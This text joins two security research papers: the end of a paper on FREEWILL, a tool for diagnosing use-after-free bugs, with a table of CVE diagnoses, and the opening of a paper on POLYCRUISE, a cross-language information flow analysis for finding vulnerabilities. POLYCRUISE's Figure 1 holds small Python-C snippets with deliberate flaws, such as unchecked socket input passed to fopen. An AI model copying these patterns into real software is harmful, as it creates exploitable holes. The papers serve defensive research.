to strengthen FREEWILL, we can adopt reversing methods to
recognize custom-defined heap managers.

8 Related Work

8.1 General Root Cause Analysis
Trace Comparison. Miller et al. [36] utilize the binary pro-
gram analysis toolkits BitBlaze [47] to compare benign and
malicious traces for root causes analysis. While they can
find out some valuable diversities of two traces, it still needs
lots of handwork and security expert experience. A recent
work, Aurora [49], is proposed to automatically identify the
diversity of benign and malicious traces to capture the in-
structions causing behavioral differences which is used as the
root cause. However, for UAF bugs, crashing or non-crashing
the programs depends on if it chose a buggy path in which
the dangling pointer is accessed, and this is not efficient to
explain the creation of dangling pointer, i.e., the root cause of
UAF.
Data Dependency Analysis. POMP [54], CREDAL [53],
RETTracer [28] and REPT [27] are proposed to automati-
cally identify the connection between the crash point and the
memory corruptions, e.g., the buffer overflow bugs. While
by utilizing the core dump and backward taint analysis, these
methods are very efficient to find out the reasons why there is
a data dependency mismatch – treated as the root cause, all
of them assume there should be a data dependency between
the data creation and final usage. For reference miscounting
caused UAF bugs, there is no such data dependency.

8.2 UAF Prevention and Diagnosis
Prevention. Considering the serious impacts of UAF bugs,
plenty of solutions have been proposed to prevent the bugs
and related attacks. Undangle [23], DangNull [33], FreeSen-
try [55], DangSan [50] and pSweeper [34] try to prevent
dangling pointers by invalidating them soon after the object
is freed. CETS [40] and Oscar [29] are two representative
solutions to detect dangling access by making freed object

memory inaccessible. CRCount [44] and MarkUs [20] delay
free operation until they can confirm the object is not pointed
by any pointers. FFmalloc [52] is designed to be a secure
allocator based on the one-time allocation to defeat UAF ex-
ploitation. During the prevention, most of these methods can
identify all dangling pointers (e.g., Undangle and DangNull).
However, they still rely on lots of manual analysis to find out
the reason for dangling creation and access, i.e., the root cause
of UAF bugs
Diagnosis. ASan [41] and pSweeper [34] not only detect the
UAF bugs, but also provide as diagnosis results the call stack
information for different stages, including the malloc, free
and reuse. While these results are helpful for simple bugs
(e.g., one used in pSweeper), they may fail or even mislead
developers in diagnosing reference miscounting caused UAF
bugs (explained in §2.2).

8.3 Refcounting Bug Detection
Refcounting and Reference Change Inconsistency. Ref-
eree [30], Pungi [45] and LinKRID [35] are proposed to detect
refcounting bugs by statically identifying mismatch between
refcounting and reference changes. As the wide existence of
refcounting omissions, all of them suffer from high false pos-
itives. Compared with Referee, Pungi introduces the borrow
and steal concepts (i.e., refcounting omission), but it does
not give any efficient solution. Recent work, LinKRID, tries
to identify internal references which should not be counted
during the refcounting invariant checking. Different from our
omission-ware model and complete trace-based pointer track-
ing, LinKRID only statically identifies two specific patterns
and adopts function summary, which can lead to high false
positives and false negatives (explained in §2.2).
Increase and Decrease Inconsistency. RID [32] and
CID [48] are proposed to detect refcounting bugs by stati-
cally checking if the consistency of refcounter increase and
decrease is broken. Based on their experiments, both of them
can detect lots of bugs caused by refcounting errors. How-
ever, they can only analyze inconsistent decreases with source
code, but are not able to handle mistaken omission bugs in
binary-only programs as there is no mismatch problem. Be-
sides, they have not analyzed the reference relationships and
the refcounting matching problems.

9 Conclusion

We proposed FREEWILL to automatically diagnose UAF bugs
caused by reference miscounting. With an omission-aware
refcounting model, FREEWILL incorporates several practical
techniques to find the root cause. We prototyped FREEWILL
and evaluated it with 76 UAF bugs from real-world programs.
The experimental results show that FREEWILL is effective
and practical on automatically diagnosing UAF bugs caused
by reference miscounting.
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A Appendix

A.1 More Details And Performance
We present more details and performance in Table 5. The left
half of the table presents the details of Reference Type, Ref-
counting Matching, Dangling Pointers, and Bug Type. As the
diagnosis result, we have marked the problematic references
with red color. From the Performance result, we can see that,
on average, FREEWILL can even make a correct root analysis
in no more than 15 minutes.
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Table 5: Details of Diagnoses and Performance. DP=Dangling Pointer, RCM=Refcounting Matching, MO=Mistaken Omission,
ID=Inconsistent Decrease, DU=Dangling Usage, CR=Crash Reproduction, UI=UAF Identification. N means the UAF bug is
caused by one of these references.

Prog. BugId Ref. Type RCM DP Bug Performance
Stack Heap (+, -) (+, ) ( , -) ( , ) CR UI Diag. Total

IE

CVE-2010-0248 29 2 1 0 0 30 1 MO 1m41s 51s 18s 2m50s
CVE-2010-0249 503 158 44 12 12 593 7 MO 2m43s 1m1s 13m57s 17m41s
CVE-2010-3971 9 1 – – – – 3 DU 58s 1m46s 0.6s 2m45s
CVE-2011-1260 106 57 0 1 1 161 10 MO 4m17s 1m37s 1m5s 6m59s
CVE-2012-1785 200 10 12 0 0 198 8 MO 3m30s 4m20s 5m28s 13m18s
CVE-2012-4787 9 4 8 0 0 5 1 MO 1m27s 1m13s 1m27s 4m7s
CVE-2012-4792 15 7 6 1 1 14 5 MO 2m46s 1m21s 3m39s 7m46s
CVE-2012-4969 27 5 3 0 0 29 8 MO 2m46s 30s 4m16s 7m32s
CVE-2013-0025 131 134 1 2 2 260 2 MO 2m28s 1m8s 3m31s 7m7s
CVE-2013-1306 67 7 7 0 0 67 6 DU 8m12s 10m25s 10m21s 28m58s
CVE-2013-1347 12 6 7 0 0 11 5 DU 1m59s 1m23s 1m56s 5m18s
CVE-2013-3163 302 20 19 0 0 303 7 MO 3m11s 8m10s 3m16s 14m37s
CVE-2013-3893 630 133 23 0 0 740 12 MO 2m13s 2m28s 6m7s 10m48s
CVE-2013-3897 73 4 1 0 0 76 8 MO 3m10s 1m30s 1m12s 5m54s
CVE-2014-0282 484 24 28 1 1 478 8 MO 1m57s 48s 6m10s 8m55s
CVE-2014-1776 409 54 19 7 7 430 9 MO 3m50s 5m23s 17m57s 27m10s
CVE-2014-1815 908 54 62 3 3 594 10 MO 2m42s 1m37s 15m52s 20m11s
CVE-2015-2425 – – – – – – – – 3m57s – – –
CVE-2017-11810 – – – – – – – – 2m12s – – –
CVE-2018-8174 29 7 6 3 3 25 3 DU 1m47s 2m32s 6m32s 10m51s

Linux

Commit-81b9de4 10 0 1 0 1 9 2 ID 8s 0.4s (A) 0.6s 9s
Commit-c3aabf0 8 1 0 1 1 0 7 ID 8s 0.1s (A) 0.5s 9s
Commit-0cef13d 15 0 1 0 1 14 2 ID 8s 0.1s (A) 0.6s 9s
Commit-8cc0dcf 59 1 1 1 1 57 13 ID 1m13s 13s 2s 1m28s
Commit-ba34c3d 53 2 2 0 0 51 10 MO 2m49s 11s 3s 3m3s
Commit-dbfa04e – – – – – – – NPD 2m16s – – –
Commit-beb691e 46 2 1 1 1 46 11 ID 2m47s 8s 2s 2m57s
Commit-357a07c 6 1 0 1 1 5 3 MO 2m19s 8s 3s 2m30s
Commit-8d43259 55 3 3 0 0 55 9 DU 2m38s 7s 3s 2m48s
Commit-ae4393d 6 1 – – – – 5 DU 2m9s 8s 3s 2m20s
Commit-c81d3d2 27 1 0 1 1 26 8 MO 2m7s 3s 3s 2m13s
Commit-a4f0377 52 3 0 1 1 53 16 MO 2m15s 7s 2s 2m24s
Commit-8fd0e99 23 2 0 1 1 23 5 ID 2m18s 7s 2s 2m27s
Commit-af35fc3 51 1 0 1 1 50 20 MO 3m1s 8s 2s 3m10s
Commit-ff11764 20 2 0 1 1 20 13 MO 2m38 8s 3s 2m49s

MacOS

CVE-2016-1828 36 2 2 0 0 36 14 MO 26s 0.3s 0.9s 28s
CVE-2016-4656 39 1 1 0 0 39 13 MO 25s 0.3s 0.9s 27s
CVE-2017-2545 21 1 0 1 1 20 7 ID 4m15s 8s 3s 4m26s
CVE-2018-4083 26 1 1 0 1 26 10 ID 4m19s 11s 9s 4m39s
CVE-2019-6225 66 1 1 2 2 62 5 ID 2m8s 12s 3s 2m23s
CVE-2020-9892 17 1 – – – – 6 DU 2m7s 11s 2s 2m20s

Python

Issue-24091 40 6 5 1 1 39 11 MO 18m38s 13s 3s 18m54s
Issue-24092 – – – – – – – NPD 18m37s – – –
Issue-24093 60 21 8 2 2 69 13 ID 18m38s 13s 2s 18m51s
Issue-24094 47 14 7 1 1 52 11 MO 13m23s 13s 3s 13m39s
Issue-24099 50 17 5 1 1 61 13 ID 12m38s 13s 3s 12m54s
Issue-24100 – – – – – – – NPD 13m15s – – –
Issue-38588-01 15 6 1 2 2 16 12 MO 3m52s 0.8s 0.5s 3m53s
Issue-38588-02 11 3 1 1 1 11 8 MO 3m12s 0.7s 0.7s 3m14s
Issue-38588-03 11 4 1 1 1 12 9 MO 3m10s 0.9s 0.4s 3m12s
Issue-38610-01 12 5 1 1 1 14 9 MO 3m12s 0.9s 0.7s 3m14s
Issue-38610-02 12 6 2 1 1 14 9 MO 3m12s 0.8s 0.6s 3m13s
Issue-38610-03 12 6 2 1 1 14 9 MO 3m12s 0.9s 0.7s 3m14s
Issue-39421 13 6 2 1 1 16 10 MO 3m16s 0.8s 0.7s 3m18s
Issue-39453 12 6 1 1 1 15 9 MO 3m14s 0.7s 0.5s 3m15s
Issue-39510 – – – – – – – NPD 18m38s – – –

PHP

BUG-68594 3 2 0 1 1 3 2 MO 21m38s 1s (A) 3s 21m42s
BUG-68710 3 2 0 1 1 3 2 MO 21m35s 1s (A) 2s 21m38s
BUG-73392 12 1 1 1 1 10 3 MO 2m14s 3s 2s 2m19
OSS-17903 – – – – – – – – – – – –
OSS-24436 18 2 0 1 1 18 7 MO 2m42s 5s 2s 2m49s
BUG-79922 20 6 3 1 1 22 6 ID 2m48s 4s 2s 2m54s
BUG-66783 21 8 – – – – 5 DU 2m11s 3s 3s 2m17s
BUG-80927 4 2 – – – – 2 DU 2m38s 5s 3s 2m46s

Firefox

CVE-2011-0065 4 2 – – – – 5 DU 6m25s 2m11s 43s 9m19s
CVE-2013-0753 76 4 – – – – 6 DU 2m32s 23s 11s 3m6s
CVE-2016-9899 – – – – – – – – – – – –
CVE-2017-5404 – – – – – – – NPD 105m20s – – –
CVE-2018-18492 16 8 – – – – 24 DU 22m39s 1m10s 21s 24m10s

Chrome

Issue-1033759 392 31 – – – – 8 DU 4m15s 1m39s 21s 6m15s
Issue-1041406 11 5 – – – – 2 DU 13m11s 5m12s 32s 18m55s
Issue-1062091 413 104 – – – – 79 DU 118m10s 19m23s 18s 137m51s
Issue-1111737 – – – – – – – – – – – –
Issue-1137630 0 2 – – – – 1 DU 5m32s 1m54s 23s 7m49s
Issue-1142675 14 2 – – – – 2 DU 21m54s 3m19s 19s 25m32s
Issue-1155426 432 53 – – – – 43 DU 128m13s 23m15s 12s 151m39s

Total: 36 MO, 12 ID, 18 DU, 5 NPD Average: 11m58s
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Abstract
Despite the fact that most real-world software systems today
are written in multiple programming languages, existing pro-
gram analysis based security techniques are still limited to
single-language code. In consequence, security flaws (e.g.,
code vulnerabilities) at and across language boundaries are
largely left out as blind spots. We present POLYCRUISE, a
technique that enables holistic dynamic information flow anal-
ysis (DIFA) across heterogeneous languages hence security
applications empowered by DIFA (e.g., vulnerability discov-
ery) for multilingual software. POLYCRUISE combines a light
language-specific analysis that computes symbolic dependen-
cies in each language unit with a language-agnostic online
data flow analysis guided by those dependencies, in a way
that overcomes language heterogeneity. Extensive evalua-
tion of its implementation for Python-C programs against
micro, medium-sized, and large-scale benchmarks demon-
strated POLYCRUISE’s practical scalability and promising
capabilities. It has enabled the discovery of 14 unknown cross-
language security vulnerabilities in real-world multilingual
systems such as NumPy, with 11 confirmed, 8 CVEs assigned,
and 8 fixed so far. We also contributed the first benchmark
suite for systematically assessing multilingual DIFA.

1 Introduction

Real-world software systems today are mostly multilingual—
they consist of integral code units written in different program-
ming languages [28, 34, 44, 45]. Moreover, the past decade
has seen growth in both the prevalence and dominance of
multilingual software and the average number of languages
used in each system [38]. Given their critical role in the mod-
ern cyberspace, there is an urgent quest for systematically
assuring the security of multilingual software systems.

Yet despite this criticality and urgency, technique and tool
support for securing multilingual systems remains largely
lacking. Unlike in single-language systems, insecure (e.g.,
vulnerable or malicious) code behaviors may exist not only
within individual language units but also at and across the in-
terfaces between different languages in multilingual systems.
As a result, even if each single-language unit of a multilingual
system is secure, the entire system may still not be as a whole.

Thus, holistic (cross-language) validation of multilingual pro-
grams against insecure properties is essential.

Recognizing this need, researchers have started developing
cross-language analyses that can support security applications.
Yet most existing relevant approaches [8, 22, 34, 36, 67, 69]
are exclusively focused on and limited to a particular case in
the multi-language world: JNI programs—programs written
in C and Java which interact through an interfacing mech-
anism called the Java Native Interface (JNI). A few other
approaches exist but face practicality barriers. For instance,
Truffle [29], a dynamic taint analysis framework, leverages a
custom Java virtual machine (VM) called GraalVM [52, 70]
to support multilingual systems. For each none-Java language,
the user has to implement a runtime, which is a daunting task
hence not always practical. Also, this VM-based approach is
heavyweight in nature hence not scalable to large, complex
systems. Moreover, the reliance on customized runtime brings
portability barriers, given the diverse and evolving language
features that are hard to keep the customization up to.

For another example, a language-agnostic dynamic slicer,
ORBS [5] computes backward dynamic dependencies for
multilingual code based on heuristic removal of program
statements treated as text lines. Unfortunately, this design
suffers from intrinsic scalability issues, as analytically con-
firmed by others [31] and empirically validated by ourselves.
On ten real-world multilingual subjects of 2∼17 KSLOC (on
GitHub) with ten randomly chosen slicing criteria in each
and a 24-hour per-criterion timeout, ORBS was only able to
produce results for 27 (out of the 100 in total) criteria across
the three smallest subjects at a cost of 9.47 hours for each.

To fill the present gap, we take the first step to enable practi-
cal security defense support for multilingual software through
cross-language dynamic information flow analysis (DIFA).
We target DIFA as it has been a fundamental technique [66]
underlying a range of security applications (e.g., vulnerabil-
ity discovery [18], intrusion detection [46], security policy
validation [71]). However, developing a holistic DIFA for
multilingual systems faces two major challenges:

• Semantics disparity. The heterogeneous languages used in
a multilingual system represent disparate language seman-
tics. Thus, neither can existing (single-language) DIFA be
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applied immediately, nor can we perform a DIFA on each
language unit separately and then stitch the results.

• Analysis cost-effectiveness. To be practically useful, the
DIFA must scale to large, real-world systems—in fact, a
multilingual system tends to be larger in (code) size than
single-language ones. Also, the analysis needs to be effec-
tive (offering a reasonable level of accuracy) for the target
security application (e.g., discovering new vulnerabilities).

Meanwhile, we cannot simply bypass these challenges by
resorting to single-language software construction. As differ-
ent languages have unique advantages in facilitating the im-
plementation of certain functionalities, developers do benefit
from multi-language development for better productivity. In
this paper, we aim to tackle the challenges of cross-language
DIFA by exploiting two key insights outlined below.

• While the differences in languages’ semantics greatly im-
pede purely static semantic analysis (e.g., statically com-
puting data/control dependencies) across those languages,
computation of dynamic data/control flow facts required
for DIFA can be more readily unified, so as to overcome the
semantics disparity challenge hence enable holistic DIFA.

• The unified hence language-agnostic dynamic analysis of
DIFA can still be guided and reduced by a static syntac-
tic analysis specific to each language, which helps ensure
the overall scalability and efficiency of the DIFA. Mean-
while, the imprecision of the syntactic analysis can be com-
pensated by the dynamic analysis. This will overcome the
cost-effectiveness challenge without sacrificing scalability.

Following these insights, we have developed POLYCRUISE,
a cross-language DIFA with an application to DIFA-based vul-
nerability discovery in multilingual systems written in Python
and C. The overarching principle of our POLYCRUISE de-
sign is to combine minimal, semantics-independent language-
specific analyses with a language-agnostic dynamic analysis.
The hybrid analysis strategy is justified as follows: the latter
computes the eventual output of a DIFA (i.e., information flow
paths between given sources and sinks), while the former com-
putes approximate dependencies to determine the scope of
instrumentation. In particular, each language-specific analysis
translates a language unit’s code to a language-independent
symbolic representation (LISR). Then, POLYCRUISE uses a
light syntactic analysis called symbolic dependence analy-
sis (SDA) to compute the approximate dependencies based
on the LISR with respect to the sources/sinks. At runtime,
the instrumentation guided by these symbolic dependencies
generates cross-language execution events, from which a dy-
namic information flow graph (DIFG) is incrementally built
on the fly. Meanwhile, different kinds of vulnerabilities are
discovered based on the DIFG via respective plugins.

To validate our design, we implemented POLYCRUISE for
Python-C programs given the consistently popular use of
Python [21, 56], as backed by C for many functionalities, in

impactful (e.g., machine learning) systems. While the popu-
larity/impact may make our tool more significant, supporting
Python is more challenging (e.g., compared to analyzing JNI
programs). First, unlike for C/C++ and Java, analysis facilities
for Python are largely lacking. Second, Python has rich dy-
namic constructs, making Python code incomplete until at run-
time. We overcame these challenges by developing new anal-
ysis support for Python while using dynamic instrumentation
to deal with its dynamic nature. We also implemented seven
vulnerability detection plugins to assess POLYCRUISE’s abil-
ity to support the discovery of various types of vulnerabilities
(e.g., buffer overflow, sensitive data leak). As described in
Section 4, the approaches described in this paper should be
transferable to other language combinations.

With this implementation, we evaluated POLYCRUISE on
12 real-world multilingual systems of diverse domains and
scales against various executions. Our results show its high
scalability and cost-effectiveness, as well as its enabling capa-
bilities for cross-language DIFA. The static analysis part took
in total <3 seconds for systems of 220 KSLOC or smaller and
<3 minutes for our largest subject (of 6,419 KSLOC). The (on-
line) dynamic analysis incurred 2.71∼11.96x run-time slow-
down. POLYCRUISE has found 14 unknown, cross-language
vulnerabilities, including those in NumPy [49], with 11 con-
firmed, 8 CVEs assigned, and 8 fixed by developers so far.
We also built the first multilingual dynamic analysis bench-
mark PyCBench, with which we validated the high precision
(93.5%) and recall (100%) of the DIFA in POLYCRUISE.

Through POLYCRUISE, we have demonstrated a novel
methodology for practical DIFA of multilingual dynamic anal-
ysis, which can empower applications other than detecting
information flow vulnerabilities and even beyond the security
domain. In sum, our contributions include:

• A scalable dynamic analysis technique for multilingual
software written in Python and C, POLYCRUISE, which
exploits light language-specific static analyses and online
language-agnostic dynamic analysis to enable the first cross-
language DIFA to the best of our knowledge (§3).

• An open-source implementation of POLYCRUISE for
Python-C programs, which works with large-scale, real-
world multilingual systems in different domains (§4).

• An open DIFA test suite covering a variety of analysis
features, which is the first cross-language dynamic analysis
benchmark suite publicly available as we know of (§5).

• An extensive evaluation of POLYCRUISE, which demon-
strates the promising efficiency, cost-effectiveness, and vul-
nerability discovery capabilities of our technique (§6).

We have released our dataset and code to facilitate repro-
duction, replication, and reuse, as all found here.

2 Background and Motivation
Different languages may interact via diverse interfacing mech-
anisms. This diversity partly makes cross-language DIFA
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challenging. Meanwhile, the need for tackling the diversity
motivates and justifies our design for POLYCRUISE.
Interfacing mechanisms. At a high level, the ways different
language units interact fall into two main categories:

• Uniform mechanism: via interprocess communication
(IPC). This is universally applicable and totally language-
independent. For instance, Remote Procedure Call (RPC),
which is widely used in middleware, is of this kind.

• Language-specific mechanism: via foreign function inter-
face (FFI). Different language units interoperate through di-
rect function invocations. Thus, this mechanism is strongly
language-dependent. Current mainstream languages (e.g.,
Java, Python, PHP, Ruby [21]) all support FFI for C per
their official documentations.

At a more detailed level, the diversity of interfacing mecha-
nisms is greater. For instance, within the same (FFI) category,
Java interacts with C via native function calls, passing param-
eters via jobject, while the interfacing between Python and
C is different and more complex [59]. Even in the same lan-
guage combination, the mechanism also varies. For instance,
in Python-C programs, one may use ctypes to load a C li-
brary and then search and invoke a C function. Alternatively,
a C module can be built as a Python extension to be used as a
Python module. In the other direction, the C unit can invoke
a Python function through the APIs provided by the Python
interpreter, after converting C-type parameters to PyObjects.
Other mainstream languages provide similar yet still diverse
mechanisms (e.g., Go interacts with C via the cgo command
while Ruby interacts with C via a particular FFI).

Due to these diversities at multiple levels, DIFA designs
based on specific mechanisms would have limited applica-
bility. Moreover, many modern languages (e.g., Python) are
dynamic, for which static analysis is impeded and dynamic
analysis is necessary [72]. Thus, designs that rely on sub-
stantial and deep (e.g., semantic) static analysis would have
limited cost-effectiveness (low precision and/or low recall).
Illustrating/motivating examples. Figure 1 depicts three
cases of cross-language vulnerabilities each with a differ-
ent interfacing mechanism between Python and C. pi and ci
denotes line no. i in a Python and C unit, respectively.

• In (a), the Python unit invokes a C function through ctypes.
A least-privilege violation [47] happens at c3 when the ex-
ternal input (Extdata) retrieved at p3 reaches there via p5,
allowing an attacker to gain unauthorized access to any file
specified. Single-language analyses would either stop at
the language (Python) boundary, or make a conservative as-
sumption that the data retrieved at p6 causes a vulnerability
as well (hence leading to excessive imprecision).

• In (b), the interfacing is realized via Python extension (bidi-
rectional). Sensitive data retrieved at p3 (source) may leak
at c9 (sink) along the inter-language flow (red lines). Cross-
language call graph construction hence a holistic flow anal-

p1 from ctypes import *
p2 def DataProcess():
p3     Extdata = Socket.Recv ()
p4     Lib = cdll.LoadLibrary("libC.so")
p5     Lib.process (Extdata )
p6     IntData = Internal ()
p7     Lib.process (IntData )

c1 int process(char *data)  {
c2      char* Name = data

c3      FILE *f = fopen (Name , “r”)
c4      fread (f,...)
c5      fclose (f)
c6 }

a

p1  from Cb import *
p2  def Source ():
p3        String S = source ();
p4        Foo (S)
P5
p6   def Foo (S) :
p7        Cfoo (S)
P8
p9   def Bar (S) :
p10        Cbar (S)

c1 void Cfoo  (pyObj, args) {
c2     PyArg_ParseTuple(args, S)

c3       ……
c4     args2 = Py_BuildValue(S);
c5     PyObject_Call(Bar, args2 , ...);

c6     ……
c7 }
c8 void Cbar (env, obj, S) {
c9      sink(S); 
c10 }

b

p1  from Cc import *
p2 class PC:
p3    def __init__(self, data):
p4          self.data = data
p5    def __enter__(self):
p6          self.data = encode (self.data)
p7    def __exit__(self, *_):
p8          self.data = decode (self.data)
p9   with PC (data):
p10           process ()

c1 PyObject* Encode(data)  {
c2      en = base64 (data);
c3      log (en )
c4      return Py_BuildValue(en);
c5 }

c6 PyObject* decode(…, data)  {
c7      de = debase64 (data);
c8      log (de )
c9      return Py_BuildValue(de);
c10 }

c

Pa.py Ca.so

Pb.py Cb.so

Pc.py Cc.so

Figure 1: Example Python-C interfaces and vulnerabilities.

ysis is necessary to find this vulnerability, which cannot be
achieved by separately analyzing each language unit.

• In (c), the interfacing mechanism is the same as in (b). Yet
different from (b), here the two C function invocations are
implicit—note that __enter__ and __exit__ are a result
of the with construct at p9, and they are visible only to the
Python interpreter but not to a static analyzer. Calls to these
two functions can only be captured at runtime. Dynamic
analysis is necessary for finding the information leak here.

These examples not only illustrate how security vulnerabil-
ities may happen at and across language interfacing hence the
need for cross-language, holistic analyses, but also justify our
dynamic analysis based design for POLYCRUISE.

3 The POLYCRUISE Approach

This section describes our technical approach. We start with
an overview (§3.1) of POLYCRUISE and then elaborate its
two high-level phases: static analyses and instrumentation
(§3.2) and online dynamic analysis (§3.3).

3.1 Approach Overview
An overview of POLYCRUISE is given in Figure 2. Three
POLYCRUISE Inputs should be provided: (1) the multilin-
gual program P under analysis, viewed as a collection of
per-language code units, (2) user configuration X , including
the lists of sources/sinks (given per language unit) as required
by any DIFA and options for determining which security ap-
plication plugins to apply, and (3) the set T of run-time inputs
for P as required by any dynamic analysis.
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Figure 2: An overview of POLYCRUISE’s architecture, including its inputs, major technical components, and outputs.

With these inputs, POLYCRUISE works in two main phases.
In Phase 1, it first translates each language unit into a
language-independent symbolic representation (LISR), from
which a symbolic dependence analysis (SDA) computes
symbolic dependencies in the unit by referring also to the
source/sink list for the unit. The language independence of
the LISRs enables the SDA to be language-agnostic. The
resulting symbolic dependencies are then used to guide a
static instrumentation step, informing it about the scope of
necessary probing, for units written in a compiled language
(e.g., C or Java). The main goal of this phase is to reduce the
instrumentation (static or dynamic) scope hence the run-time
overhead of the next phase. The rationale is that the sym-
bolic dependencies (over)approximate all possible dynamic
information flow between the given sources and sinks.

For an interpreted language (e.g., Python), POLYCRUISE
starts its Phase 2 with a dynamic instrumentation while the
statically instrumented program P′ is running against the
given input set T . This instrumentation is also guided by the
symbolic dependencies resulting from the SDA in the previ-
ous phase. Notably, the dynamic analysis in this second phase
is online; that is, the analysis is performed on the fly (in the
memory). It uses a shadow memory based circular queue (i.e.,
shadow event queue) to buffer streaming execution events—
no trace is serialized to any external storage. While these
events are being collected, POLYCRUISE incrementally per-
forms run-time information flow computation (IFC) between
any source and sink (across all language units of P), with
resulting flow facts being represented as (and continuously
added to) a dynamic information flow graph (DIFG).

From the DIFG, a set of vulnerability detection plug-
ins, each detecting one type of (e.g., data leak) vulnerabil-
ities, continuously computes information flow paths between
sources/sinks relevant to the vulnerability type and reports
the vulnerabilities found as part of POLYCRUISE Outputs.

3.2 Static Analyses/Instrumentation (Phase 1)
To collect the run-time data required by its DIFA,
POLYCRUISE needs to instrument the given program P. In ac-
cordance with the overarching principle (§1) of our design, the

instrumentation should probe for harvesting the run-time data
in a language-independent manner so as to enable language-
agnostic dynamic analysis, while only relying on minimal
language-specific analyses. Following this rationale, the first
phase works in three major steps as elaborated below.

3.2.1 Symbolic Translation (Step 1.1)
To minimize language-specific analyses, POLYCRUISE aims
at a language-agnostic analysis (i.e., SDA) that computes
uniform instrumentation-guiding information (i.e., symbolic
dependencies). This is achieved through a preprocessing step
that translates each language unit of P into its language-
independent symbolic representation (LISR) form.
Definition. The symbolic dependencies computed by SDA
are intended to approximate data dependencies between state-
ments of a language unit. Accordingly, our LISR represen-
tation considers three kinds of statements: line (i.e., assign-
ment), call, and return, and two kinds of symbols: global and
function. The formal syntax of LISR is hence given below:

P ::= G∗F∗

G ::= e
F ::= τ f (x∗)S∗

S ::= [x =]e∗ | [x =] f (e∗) | return e
e ::= x |C | ε
τ ::= T | ε

A program P is a sequence G∗ of global symbols, followed
by a sequence F∗ of function symbols—a symbol is simply
an identifier. A global symbol consists of an expression e. A
function symbol F has the return type τ, function name f , a se-
quence x∗ of parameters, and a sequence of statements S∗. The
return tag τ only indicates whether f returns a symbol, since
the return type does affect our symbolic dependence compu-
tation. A statement S is of one of three kinds: a line statement
[x =]e∗, a function call statement [x =] f (e∗)—return value
could be none thus is optional, and a return statement return e.
An expression e is of one of three kinds: a symbol x, a constant
C, and ε. A return tag τ is a general type T or ε. ε denotes
an empty string. As LISR serves for data dependence ap-
proximation hence only needs to capture variable definitions
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Algorithm 1: Translate a given code entity to LISR
Input: E: a given code entity of one of the three types:

global/function/statement
Output: Slisr : the LISR of E

1 Function translate2LISR (E)
2 Slisr ← None;
3 Te ← getEntityType (E);
4 if Te == global then
5 Slisr ← getGlobalSymbol (E);
6 else if Te == f unction then
7 Slisr ← getFunctionSymbol (E); // symbolize the function type

8 else if Te == statement then
9 if E == call then

10 Ret ← getDef (E);
11 if Ret 6= None then
12 Slisr ← getSymbol (Ret) + "="; // get return because def exists

13 Call = getCallSymbol (E); // symbolize the function call

14 Slisr ← Slisr + Call
15 else if E == return then
16 Use← getUse (E);
17 Slisr ← "Return " + getSymbol (Use);
18 else
19 Use← getUse (E);
20 De f ← getDef (E);
21 Slisr ← getSymbol (De f ) + "=" + getSymbol (Use);
22 return Slisr

(defs) and uses, other common language syntax elements (e.g.,
operators) are dropped in LISR.

Translation. Following the LISR definition above, the sym-
bolic translation of a language unit is simply done through
light syntactic parsing of the unit. During the parsing, every
statement in the unit’s source code that belongs to the three
kinds or includes one of the two types of data symbols consid-
ered in LISR is translated to a LISR statement or symbol. The
main goal is to capture variable defs and uses. Since only such
a simple syntactic analysis is needed and no any semantic
(e.g., data/control flow) analysis is involved, translating the
code of a language into its LISR is reasonably simple.

The detailed LISR translation process is given in Algo-
rithm 1. As defined above, LISR considers three types of code
entities: statement, global, and function. The algorithm trans-
lates each of these entities according to its type. Specifically,
a global symbol is extracted from a global entity (line 5). For
a function definition entity (line 7), the LISR translator sym-
bolizes the definition as LISR expression. In the translation of
a statement (line 8-21), if the statement’s type is call (line 9),
the return value is translated into the left symbol as a defini-
tion if it exists. Then, the function call is symbolized as the
right symbol; if the statement’s type is return (line 15), the
symbol is extracted to formulate a LISR return statement; for
other statements, the translator symbolizes the definitions as
left symbols and the uses as right symbols (line 19-21).

As an example, Figure 3 shows the resulting LISR (right
column) of the symbolic translation for a language unit (left
column). The global variable gValue of type typeA at Line 2
is translated to a global symbol gValue. At Line 3, the original
statement is translated to a function symbol Out put(arg), and
the next to a call statement without a return value. The original
statement at Line 10 is translated to a line statement without
left value, so on and so forth.

1 Source Code | LISR
2 typeA gValue | gValue
3 Outpu t ( typeB& a r g ) | Outpu t ( a r g )
4 p r i n t ( a r g ) | p r i n t ( a r g )
5 |
6 typeB Foo ( typeB N) | T Foo (N)
7 typeB V := 1 | V = C
8 typeB& S := V | S = V
9 V := N | V = N

10 w h i l e N != 0 : | N
11 V := V * N | V = V,N
12 N := N − 1 | N = N, C
13 Outpu t ( S ) | Outpu t ( S )
14 r e t u r n S | r e t u r n S

Figure 3: An illustration of the symbolic translation.

Unlike an ordinary intermediate representation (IR), e.g.,
LLVM’s bitcode, LISR is not meant to represent an entire
program with respect to its full semantics. Instead, it only
captures the most essential information (i.e.,def/use) needed
for other analysis steps in POLYCRUISE. While different lan-
guages have different semantics, which constitutes a major
barrier for cross-language analysis, the essential information
can be represented in a language-agnostic manner, as is LISR.
It is this nice property of LISR that essentially enables our
DIFA approach to work across heterogeneous languages.

3.2.2 Symbolic Dependence Analysis (SDA) (Step 1.2)
Once the LISR is obtained for a language unit, the next step is
to compute the symbolic dependencies in the unit according
to the (language-independent) def/use symbols in its LISR.

Definition. Given two statements Si and S j, S j is symbolically
dependent on Si iff {U(Si)∩D(S j)}∪{D(Si)∩U(S j)} 6=∅,
where U(S) and D(S) is the use and def set of statement S.

In addition to approximating true/flow dependencies [23]
(i.e., when D(Si) ∩ U(S j) 6= ∅), we also consider possible
anti-dependencies [23] (i.e., when U(Si) ∩ D(S j) 6= ∅) to
ensure the soundness of the SDA. Without a pointer/reference
analysis, the SDA has no access to aliasing information for
the analyzed language unit. Yet ignoring aliases could lead to
missing true dependencies induced by aliasing. For instance,
in the example of Figure 3, suppose one source is variable V at
Line 9 and S becomes an alias of V after Line 8. Considering
the anti-dependencies here will lead Lines 13 and 14 to be
included in the symbolic dependence set of Line 9 hence the
dynamic information flow paths between Line 9 and Lines 13,
14 to be potentially captured—because only the statements
symbolically dependent on Line 9 will be probed in the later
instrumentation steps; or these flow paths would be missed.

The symbolic defs and uses for the example of Figure 3 are
given in Figure 5. Let Si denote Line i and suppose (S9, V )
is a source. As we consider true/flow dependencies, we have
D(S9)∩U(S11) 6= ∅; when we consider anti-dependencies,
we also have U(S8)∩D(S9) 6=∅. Thus, the symbolic depen-
dence set of S9 is computed as {S8, S11}.
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Figure 4: An overview of the symbolic dependence analysis.

1 LISR | s y m b o l i c def − use p a i r s
2 gValue |
3 Outpu t ( a r g ) |
